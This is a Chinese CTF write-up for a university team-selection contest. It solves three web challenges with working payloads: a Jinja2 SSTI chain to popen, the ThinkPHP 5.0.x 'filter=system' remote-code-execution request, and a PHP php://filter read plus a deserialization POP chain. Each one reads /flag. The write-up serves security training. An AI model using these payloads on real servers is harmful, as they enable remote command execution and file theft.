校赛web-wp

NEUF-CTF校赛web wp

简介

这次校赛是为了选拔2020届Maple_Leaves战队成员举办的面向全校的比赛,这次校赛我和大二的学弟一起作为出题人,总体来看效果还算不错下面贴张图(为保护同学隐私名称已做处理)
校赛1

web-1 ssti

并没有做防护的flask jinja2模板注入,在查看了网页源代码之后得知通过get可以传入name参数,因为题目本身已经说明得很清楚了就是ssti,于是先进行测试url?name=49得到49的运算结果回显
,之后就能够进行找类进行文件读取了,我所用的exp为

1
2
3
''.__class__.__mro__ 首先找到object类,之后就能使用object类了
''.__class__.__mro__[-1].__subclasses__()继续寻找os的子类。这里举例一种。<class 'os._wrap_close'>,os命令相信你看到就感觉很亲切。我们正是要从这个类中寻找我们可利用的方法,在本题中该类位于118位所以''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__查找到popen能够进行系统命令执行
''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('ls').read()测试成功,之后尝试cat /flag知道flag值

ssti1
ssti2
ssti3
ssti4

web-2 thinkphp5

thinkphp5.x,并没有做防护,直接找网上就能找到很多exp
这个版本是5.0.26 对于5.0.x
将控制的url参数s的设置为captcha,并且设置post数据:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=cat /flag解出

web-3 easy_unserialize

直接贴源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// index.php
<?php
include("hint.php");

highlight_file(__FILE__);

$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt) && ($txt === "welcome to the nefu-nsi")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "It's not time to get flag";
exit();
}else{
echo file_get_contents($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of nsi ! ";
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Flag{//flag.php
public $file;

public function __construct($filename) {
$this -> file = $filename;
}

public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

很显然第一步?txt=welcome to the nefu-nsi接着进入else环节,显然file不让你直接读取flag.php
这个时候就需要用到文件包含以及php伪协议的知识了
txt=welcome to the nefu-nsi&file=php://filter/read=convert.base64-encode/resource=hint.php,base64解密得到源码以及读取index.php得到源码,构造pop链
echo password的时候回触发__toString函数,所以只要将__toString()函数中的file设置成为flag.php就能够读取出flag了

1
2
3
4
$flag = new Flag($file = "flag.php");
echo(serialize($flag));
$flag = unserialize(serialize($flag));
echo($flag);

之后将序列化的结果传入,之后查看源代码
unserializ

该wp并不涉及具体原理,具体知识点对应原理还请自行浏览器查询

文章目录
  1. 1. NEUF-CTF校赛web wp
    1. 1.1. 简介
      1. 1.1.1. web-1 ssti
      2. 1.1.2. web-2 thinkphp5
      3. 1.1.3. web-3 easy_unserialize
,